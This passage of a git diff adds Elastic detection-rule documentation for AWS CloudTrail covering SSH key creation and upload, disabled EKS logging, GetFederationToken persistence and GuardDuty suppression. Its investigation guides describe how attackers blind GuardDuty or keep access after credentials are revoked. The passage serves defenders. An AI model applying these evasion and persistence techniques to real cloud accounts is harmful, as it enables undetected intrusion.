ModifyImageAttribute and event.outcome: success + and aws.cloudtrail.request_parameters: *add=* + and not aws.cloudtrail.user_identity.invoked_by: "assets.marketplace.amazonaws.com" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-ec2-createkeypair-by-new-principal-from-non-cloud-as-organization.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-ec2-createkeypair-by-new-principal-from-non-cloud-as-organization.asciidoc new file mode 100644 index 0000000000..b4962d2cd4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-ec2-createkeypair-by-new-principal-from-non-cloud-as-organization.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-28-aws-ec2-createkeypair-by-new-principal-from-non-cloud-as-organization]] +=== AWS EC2 CreateKeyPair by New Principal from Non-Cloud AS Organization + +Identifies the first time a given IAM principal successfully creates an EC2 key pair when the request is sourced from a network whose autonomous system organization is not attributed to common cloud or hyperscaler providers in your GeoIP data. Adversaries may call CreateKeyPair to stage SSH access material before launching or accessing instances. A new terms baseline on `user_identity.arn` suppresses repeated noise from the same principal while still surfacing the initial suspicious creation from an unusual egress label. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateKeyPair.html + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: Amazon EC2 +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Credential Access +* Tactic: Lateral Movement +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 CreateKeyPair by New Principal from Non-Cloud AS Organization* + + +`CreateKeyPair` creates an Amazon EC2 SSH key pair in the account; the private key material is returned to the caller +once. This is useful for persistence or preparation for instance access. + +This **new terms** rule alerts the **first** time `aws.cloudtrail.user_identity.arn` matches the query within the +configured history window. Subsequent key-pair creations by the same principal (still matching the query) are +suppressed until the term ages out of the window. + + +*Possible investigation steps* + + +- Review `aws.cloudtrail.request_parameters` / `response_elements` for `keyName` and whether the key aligns with change + management. +- Correlate `source.ip`, `source.geo`, and `user_agent.original` with the principal’s normal admin paths. +- Hunt for `RunInstances`, `ImportKeyPair`, or Instance Connect activity involving the same key name or actor. + + +*False positive analysis* + + +- First-time legitimate admin activity from a new office or VPN provider. +- Missing `source.as.organization.name` enrichment would **not** match the query’s positive wildcard; confirm fields are + populated if you expect coverage. + + +*Response and remediation* + + +- If unauthorized: delete the key pair (`DeleteKeyPair`), review IAM for `ec2:CreateKeyPair`, and rotate any credentials + used by the actor. + + +*Additional information* + + +- https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateKeyPair.html[CreateKeyPair] + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" + and event.provider: "ec2.amazonaws.com" + and event.action: "CreateKeyPair" + and event.outcome: "success" + and source.as.organization.name: ( + * and not ( + "Amazon.com, Inc." or AMAZ* or "Google LLC" or "Microsoft Corporation" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Private Keys +** ID: T1552.004 +** Reference URL: https://attack.mitre.org/techniques/T1552/004/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SSH +** ID: T1021.004 +** Reference URL: https://attack.mitre.org/techniques/T1021/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-ec2-instance-connect-ssh-public-key-uploaded.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-ec2-instance-connect-ssh-public-key-uploaded.asciidoc new file mode 100644 index 0000000000..4c84c6707f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-ec2-instance-connect-ssh-public-key-uploaded.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-28-aws-ec2-instance-connect-ssh-public-key-uploaded]] +=== AWS EC2 Instance Connect SSH Public Key Uploaded + +Identifies when a new SSH public key is uploaded to an AWS EC2 instance using the EC2 Instance Connect service. This action could indicate an adversary attempting to maintain access to the instance. The rule detects the SendSerialConsoleSSHPublicKey or SendSSHPublicKey API actions, which are logged when manually uploading an SSH key to an EC2 instance or serial connection. It is important to know that this API call happens automatically by the EC2 Instance Connect service when a user connects to an EC2 instance using the EC2 Instance Connect service via the CLI or AWS Management Console. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://unit42.paloaltonetworks.com/cloud-lateral-movement-techniques +* https://medium.parttimepolymath.net/aws-ec2-instance-connect-a-very-neat-trick-4d2fc0c28010 +* https://stratus-red-team.cloud/attack-techniques/AWS/aws.lateral-movement.ec2-instance-connect/ +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc +* https://docs.aws.amazon.com/ec2-instance-connect/latest/APIReference/API_SendSSHPublicKey.html +* https://docs.aws.amazon.com/ec2-instance-connect/latest/APIReference/API_SendSerialConsoleSSHPublicKey.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation +* Tactic: Lateral Movement +* Resources: Investigation Guide + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating AWS EC2 Instance Connect SSH Public Key Uploaded* + + +This rule detects when a new SSH public key is uploaded to an AWS EC2 instance using the EC2 Instance Connect service. Adversaries may upload SSH public keys to EC2 instances to maintain access to the instance or for initial access. This action also occurs automatically in the background when establishing a connection to an instance via the same service. The rule covers cases where the `SendSerialConsoleSSHPublicKey` API action is used to upload an SSH public key to a serial connection, which can be exploited for privilege escalation. + + +*Possible Investigation Steps:* + + +- **Identify the Actor**: Review the `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` fields to identify who performed the action. Verify if this actor typically performs such actions and if they have the necessary permissions. +- **Review the Request Details**: Examine the `aws.cloudtrail.request_parameters` to understand the specific details of the SSH public key upload. Look for any unusual parameters that could suggest unauthorized or malicious modifications. Determine the targeted EC2 instance. +- **Analyze the Source of the Request**: Investigate the `source.ip` and `source.geo` fields to determine the geographical origin of the request. An external or unexpected location might indicate compromised credentials or unauthorized access. +- **Contextualize with Timestamp**: Use the `@timestamp` field to check when the SSH public key was uploaded. Changes during non-business hours or outside regular maintenance windows might require further scrutiny. +- **Correlate with Other Activities**: Search for related CloudTrail events before and after this action to see if the same actor or IP address engaged in other potentially suspicious activities. +- **Check for Serial Console Access**: If the `SendSerialConsoleSSHPublicKey` action was used, verify if the `ec2:EnableSerialConsoleAccess` permission was also used, which might indicate an attempt to enable and exploit the serial console. + + +*False Positive Analysis:* + + +- **Legitimate Administrative Actions**: Confirm if the SSH public key upload aligns with scheduled updates, development activities, or legitimate administrative tasks documented in change management systems. +- **Consistency Check**: Compare the action against historical data of similar actions performed by the user or within the organization. If the action is consistent with past legitimate activities, it might indicate a false alarm. + + + +*Response and Remediation:* + + +- **Immediate Review and Reversal if Necessary**: If the upload was unauthorized, remove the uploaded SSH public key from the EC2 instance and review the instance's access logs for any suspicious activity. +- **Enhance Monitoring and Alerts**: Adjust monitoring systems to alert on similar actions, especially those involving sensitive instances or unusual file extensions. +- **Educate and Train**: Provide additional training to users with administrative rights on the importance of security best practices concerning SSH key management and the risks of unauthorized key uploads. +- **Audit EC2 Instance Policies and Permissions**: Conduct a comprehensive audit of all EC2 instance policies and associated permissions to ensure they adhere to the principle of least privilege. +- **Incident Response**: If there's an indication of malicious intent or a security breach, initiate the incident response protocol to mitigate any damage and prevent future occurrences. + + +*Additional Information:* + + +For further guidance on managing EC2 instances and securing AWS environments, refer to the https://docs.aws.amazon.com/ec2-instance-connect/latest/APIReference/API_SendSSHPublicKey.html[AWS EC2 Instance Connect documentation] and AWS best practices for security. Additionally, consult the following resources for specific details on SSH key management and privilege escalation techniques: +- https://stratus-red-team.cloud/attack-techniques/AWS/aws.lateral-movement.ec2-instance-connect/[Stratus Red Team - AWS EC2 Instance Connect] +- https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc[HackTricks - AWS EC2 Privilege Escalation] +- https://docs.aws.amazon.com/ec2-instance-connect/latest/APIReference/API_SendSSHPublicKey.html[AWS EC2 Instance Connect API Reference] + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail + and event.provider: ec2-instance-connect.amazonaws.com + and event.action: (SendSSHPublicKey or SendSerialConsoleSSHPublicKey) + and event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SSH +** ID: T1021.004 +** Reference URL: https://attack.mitre.org/techniques/T1021/004/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: SSH Authorized Keys +** ID: T1098.004 +** Reference URL: https://attack.mitre.org/techniques/T1098/004/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: SSH Authorized Keys +** ID: T1098.004 +** Reference URL: https://attack.mitre.org/techniques/T1098/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-eks-control-plane-logging-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-eks-control-plane-logging-disabled.asciidoc new file mode 100644 index 0000000000..02e4be3041 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-eks-control-plane-logging-disabled.asciidoc @@ -0,0 +1,102 @@ +[[prebuilt-rule-8-19-28-aws-eks-control-plane-logging-disabled]] +=== AWS EKS Control Plane Logging Disabled + +Detects successful Amazon EKS UpdateClusterConfig requests that disable control plane logging. Disabling EKS API server and control plane logs can reduce visibility into cluster activity and may indicate defense evasion following compromised AWS credentials or unauthorized administrative access. EKS control plane logging changes are typically rare and should align with approved maintenance or cost optimization workflows. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/eks/latest/userguide/control-plane-logs.html +* https://docs.aws.amazon.com/eks/latest/APIReference/API_UpdateClusterConfig.html + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EKS Control Plane Logging Disabled* + + +Review the caller (user.name, aws.cloudtrail.user_identity.arn, type), source.ip, user_agent.original, cloud.account.id, and cloud.region. Confirm which log types were disabled and whether the change aligns with a planned change window. + + +*Possible investigation steps* + + +- Inspect aws.cloudtrail.request_parameters and response elements for cluster name and logging settings. +- Correlate with adjacent EKS and IAM activity from the same principal (access entry changes, iam policy attachments, sts assume events) and with any Kubernetes audit telemetry available. +- Check whether control plane logs stopped ingesting shortly after the change and scope potential visibility gaps. + + +*Response and remediation* + + +- If unauthorized, re-enable EKS control plane logging and restrict IAM permissions that allow eks:UpdateClusterConfig. +- Rotate or revoke compromised credentials and review for additional EKS or IAM persistence changes. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"aws.cloudtrail" and +event.provider:"eks.amazonaws.com" and +event.action:"UpdateClusterConfig" and +event.outcome:"success" and +aws.cloudtrail.request_parameters:*logging*enabled=false* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-first-occurrence-of-sts-getfederationtoken-request-by-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-first-occurrence-of-sts-getfederationtoken-request-by-user.asciidoc new file mode 100644 index 0000000000..7f981d0b5f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-first-occurrence-of-sts-getfederationtoken-request-by-user.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-28-aws-first-occurrence-of-sts-getfederationtoken-request-by-user]] +=== AWS First Occurrence of STS GetFederationToken Request by User + +Identifies the first occurrence of an AWS Security Token Service (STS) GetFederationToken request made by a user. The GetFederationToken API call allows users to request temporary security credentials to access AWS resources. The maximum expiration period for these tokens is 36 hours and they can be used to create a console signin token even for identities that don't already have one. Adversaries may use this API to obtain temporary credentials for persistence and to bypass IAM API call limitations by gaining console access. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ +* https://www.crowdstrike.com/en-us/blog/how-adversaries-persist-with-aws-user-federation/ +* https://medium.com/@adan.alvarez/how-attackers-persist-in-aws-using-getfederationtoken-a-simple-and-effective-technique-used-in-the-987ec1f0bdfe/ + +*Tags*: + +* Domain: Cloud +* Data Source: Amazon Web Services +* Data Source: AWS +* Data Source: AWS STS +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS First Occurrence of STS GetFederationToken Request by User* + + +AWS Security Token Service (STS) enables users to request temporary credentials for accessing AWS resources. While beneficial for legitimate use, adversaries may exploit this to gain unauthorized access. These credentials will remain active for the duration specified (maximum 36 hours), even if the initial compromised identity is deleted. They can also be used to request a console signin token which allows the adversary to make sensitive IAM API calls which would otherwise be denied with the federation token alone. The detection rule identifies unusual activity by flagging the first instance of a `GetFederationToken` request by a user helping to uncover potential misuse aimed at evading defenses and gaining persistence. + + +*Possible investigation steps* + + +- Review the specific user account associated with the `GetFederationToken` request to determine if the activity aligns with their typical behavior and role within the organization. +- Examine the AWS CloudTrail logs for additional context around the time of the `GetFederationToken` request, looking for any other unusual or suspicious activities by the same user or related accounts. +- Check the `source.ip` and `source.geo` fields of the request to identify if it originates from an expected or unexpected location. +- View the `aws.cloudtrail.response_elements` to find the created `federatedUser.arn`. Investigate the resources accessed by this Federated User to assess if there was any suspicious activity. +- Consult with the requesting user `aws.cloudtrail.user_identity.arn` to verify if the `GetFederationToken` request was legitimate and necessary for their work tasks. + + +*False positive analysis* + + +- Routine administrative tasks by cloud administrators may trigger the rule if they are using `GetFederationToken` for legitimate purposes. To manage this, create exceptions for known administrative accounts that regularly perform these actions. +- Automated scripts or applications that use `GetFederationToken` for legitimate operations might be flagged. Identify these scripts and exclude their associated user accounts from the rule to prevent unnecessary alerts. +- Third-party services integrated with AWS that require temporary credentials might cause false positives. Review and whitelist these services if they are verified and trusted to avoid repeated alerts. +- New employees or contractors accessing AWS resources for the first time may trigger the rule. Implement a process to verify their access requirements and exclude their accounts if their actions are deemed non-threatening. + + +*Response and remediation* + + +- If compromise is verified, attach a policy that denies all actions, effectively preventing any further activity, even from temporary credentials. You can use the AWS-managed policy https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AWSDenyAll.html[AWSDenyAll]. This ensures that any temporary credentials generated by the compromised user are also blocked, stopping the attacker’s activities. +- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. +- Conduct a root cause analysis to determine how the `GetFederationToken` request was initiated and identify any potential security gaps or misconfigurations. +- Implement additional monitoring and alerting for `GetFederationToken` requests to detect and respond to similar activities promptly in the future. +- Review and update IAM policies and permissions to ensure that only authorized users have the ability to request temporary credentials, reducing the risk of misuse. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider:sts.amazonaws.com + and event.action:GetFederationToken + and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-guardduty-detection-suppression.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-guardduty-detection-suppression.asciidoc new file mode 100644 index 0000000000..98877d4d53 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-guardduty-detection-suppression.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-28-aws-guardduty-detection-suppression]] +=== AWS GuardDuty Detection Suppression + +Identifies attempts to suppress or blind Amazon GuardDuty without deleting the detector outright. Adversaries with GuardDuty permissions can create or update a trusted IP set (CreateIPSet/UpdateIPSet) so that traffic from listed addresses is never flagged, tamper with the threat intelligence feed used to generate findings (CreateThreatIntelSet/UpdateThreatIntelSet), or soft-disable the detector via UpdateDetector with Enable set to false. All three techniques leave the detector itself intact, evading detections that only look for detector deletion. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/guardduty/latest/APIReference/API_CreateIPSet.html +* https://docs.aws.amazon.com/guardduty/latest/APIReference/API_UpdateIPSet.html +* https://docs.aws.amazon.com/guardduty/latest/APIReference/API_CreateThreatIntelSet.html +* https://docs.aws.amazon.com/guardduty/latest/APIReference/API_UpdateThreatIntelSet.html +* https://docs.aws.amazon.com/guardduty/latest/APIReference/API_UpdateDetector.html +* https://github.com/RhinoSecurityLabs/pacu/tree/master/pacu/modules/guardduty__whitelist_ip + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS GuardDuty +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS GuardDuty Detection Suppression* + + +Amazon GuardDuty relies on its detector configuration, trusted IP list, and threat intelligence feeds to decide which +activity generates findings. An adversary who cannot (or does not want to) delete the detector outright can instead +blind it in place: + +- **`CreateIPSet`/`UpdateIPSet`** (activated): traffic from any address in the list is treated as trusted and will + not generate findings, even if it originates from the adversary's own infrastructure. +- **`CreateThreatIntelSet`/`UpdateThreatIntelSet`** (activated): replaces or extends the indicators GuardDuty uses to + flag known-malicious activity; an adversary who controls this feed controls what GuardDuty considers malicious. +- **`UpdateDetector`** with `Enable: false`: disables the detector without deleting it, leaving its configuration and + historical findings intact while stopping all new analysis — quieter than `DeleteDetector`, which has its own + dedicated detection. + + +*Possible investigation steps* + + +- **Identify the actor**: review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.type` to + determine who made the change, and whether this principal normally performs GuardDuty administration. +- **Inspect the change**: from `aws.cloudtrail.request_parameters`, confirm which action occurred and its target + (`detectorId`, IP set `location`/`name`, or the `enable` flag for `UpdateDetector`). +- **Assess scope**: for IP sets, resolve the listed CIDR ranges/addresses — do they belong to the adversary's known + infrastructure rather than legitimate corporate ranges? For threat intel sets, review the referenced feed location. +- **Correlate with other defense evasion activity**: look for `DeleteDetector`, `StopMonitoringMembers`, + `DisassociateMembers`, CloudTrail suspension, or IAM privilege changes around the same time by the same actor. +- **Review source context**: check `source.ip`, `user_agent.original`, and `source.geo` for anomalous access. + + +*False positive analysis* + + +- Legitimate security engineering changes (adding a new VPN range to the trusted IP list, rotating a threat intel + feed URL) will show the same API calls. Confirm with the GuardDuty/security engineering team and check change + tickets or IaC pipelines before treating as malicious. + + +*Response and remediation* + + +- If unauthorized, remove or deactivate the rogue IP set/threat intel set, and re-enable the detector if it was + disabled (`UpdateDetector` with `Enable: true`). +- Review all findings generated (or suppressed) during the window the detector or IP set was compromised. +- Restrict `guardduty:CreateIPSet`, `guardduty:UpdateIPSet`, `guardduty:CreateThreatIntelSet`, + `guardduty:UpdateThreatIntelSet`, and `guardduty:UpdateDetector` to a limited administrative role, and alert on any + use outside change-managed windows. + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "guardduty.amazonaws.com" + and event.outcome: "success" + and ( + (event.action: ("CreateIPSet" or "UpdateIPSet" or "CreateThreatIntelSet" or "UpdateThreatIntelSet") + and aws.cloudtrail.flattened.request_parameters.activate: (true or "true")) + or + (event.action: "UpdateDetector" and aws.cloudtrail.flattened.request_parameters.enable: (false or "false")) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-guardduty-member-account-manipulation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-guardduty-member-account-manipulation.asciidoc new file mode 100644 index 0000000000..4042a7f5ea --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-guardduty-member-account-manipulation.asciidoc @@ -0,0 +1,163 @@ +[[prebuilt-rule-8-19-28-aws-guardduty-member-account-manipulation]] +=== AWS GuardDuty Member Account Manipulation + +Detects attempts to disassociate or manipulate Amazon GuardDuty member accounts within an AWS organization. In multi-account GuardDuty deployments, a delegated administrator account aggregates findings from member accounts. Adversaries may attempt to disassociate member accounts, delete member relationships, stop monitoring members, or delete pending invitations to break this centralized visibility. These actions can be precursors to or alternatives for deleting GuardDuty detectors entirely, allowing attackers to operate undetected in member accounts while the administrator account loses visibility. This rule identifies successful API calls that manipulate GuardDuty member relationships, which are rare in normal operations and warrant immediate investigation. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/guardduty/latest/APIReference/API_DisassociateFromAdministratorAccount.html +* https://docs.aws.amazon.com/guardduty/latest/APIReference/API_DeleteMembers.html +* https://docs.aws.amazon.com/guardduty/latest/APIReference/API_StopMonitoringMembers.html +* https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_accounts.html +* https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS GuardDuty +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS GuardDuty Member Account Manipulation* + + +In AWS Organizations with GuardDuty enabled, a delegated administrator account receives and aggregates security findings from all member accounts. This centralized visibility is critical for detecting threats across the organization. Adversaries who compromise a member account may attempt to break this relationship to operate without triggering alerts visible to the security team. + +This rule detects several API actions that manipulate GuardDuty member relationships: +- `DisassociateFromMasterAccount` / `DisassociateFromAdministratorAccount`: Member account breaks its connection to the administrator +- `DeleteMembers`: Administrator removes member accounts from GuardDuty +- `StopMonitoringMembers`: Administrator stops monitoring specific member accounts without fully removing them +- `DeleteInvitations`: Member account deletes pending invitations, preventing association + +These actions are extremely rare in normal operations and can indicate either a compromised account or an attacker preparing to disable GuardDuty entirely. + + +*Possible investigation steps* + + +- **Identify the actor** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.type` to determine who performed the action. + - Determine whether the action originated from a member account (disassociation) or the administrator account (deletion/stop monitoring). + +- **Review request context** + - Check `aws.cloudtrail.request_parameters` to identify which member accounts were affected. + - Determine the scope: single account or multiple accounts targeted. + +- **Analyze source and access patterns** + - Review `source.ip` and `user_agent.original` for anomalous access patterns. + - Check if the action occurred outside normal business hours or maintenance windows. + +- **Correlate with related activity** + - Search for subsequent `DeleteDetector` API calls in the affected member accounts. + - Look for other defense evasion indicators: CloudTrail modifications, Config rule deletions, Security Hub changes. + - Check for privilege escalation or credential access events preceding this action. + +- **Verify business justification** + - Confirm with the identified user or team whether there was a legitimate organizational change. + - Check for related change tickets or migration documentation. + + +*False positive analysis* + + +- **Organizational restructuring** + - Member relationships may change during account migrations or delegated administrator transitions. + - Validate against documented organizational changes. + +- **Account decommissioning** + - Accounts being retired may be removed from GuardDuty before closure. + - Confirm this aligns with account lifecycle management processes. + + +*Response and remediation* + + +- **Immediate containment** + - If unauthorized, immediately re-associate the affected member accounts with the administrator. + - For `StopMonitoringMembers`, use `StartMonitoringMembers` to restore visibility. + +- **Investigation** + - Audit the affected member accounts for suspicious activity during the visibility gap. + - Review CloudTrail for any actions taken while GuardDuty monitoring was disrupted. + +- **Hardening** + - Restrict `guardduty:DisassociateFromAdministratorAccount`, `guardduty:DeleteMembers`, and related permissions. + - Use SCPs to prevent member accounts from disassociating from GuardDuty administrators. + - Implement Security Hub controls to detect changes to GuardDuty organization configuration. + + +*Additional information* + +- **https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_accounts.html[AWS GuardDuty Multi-Account Documentation]** +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: 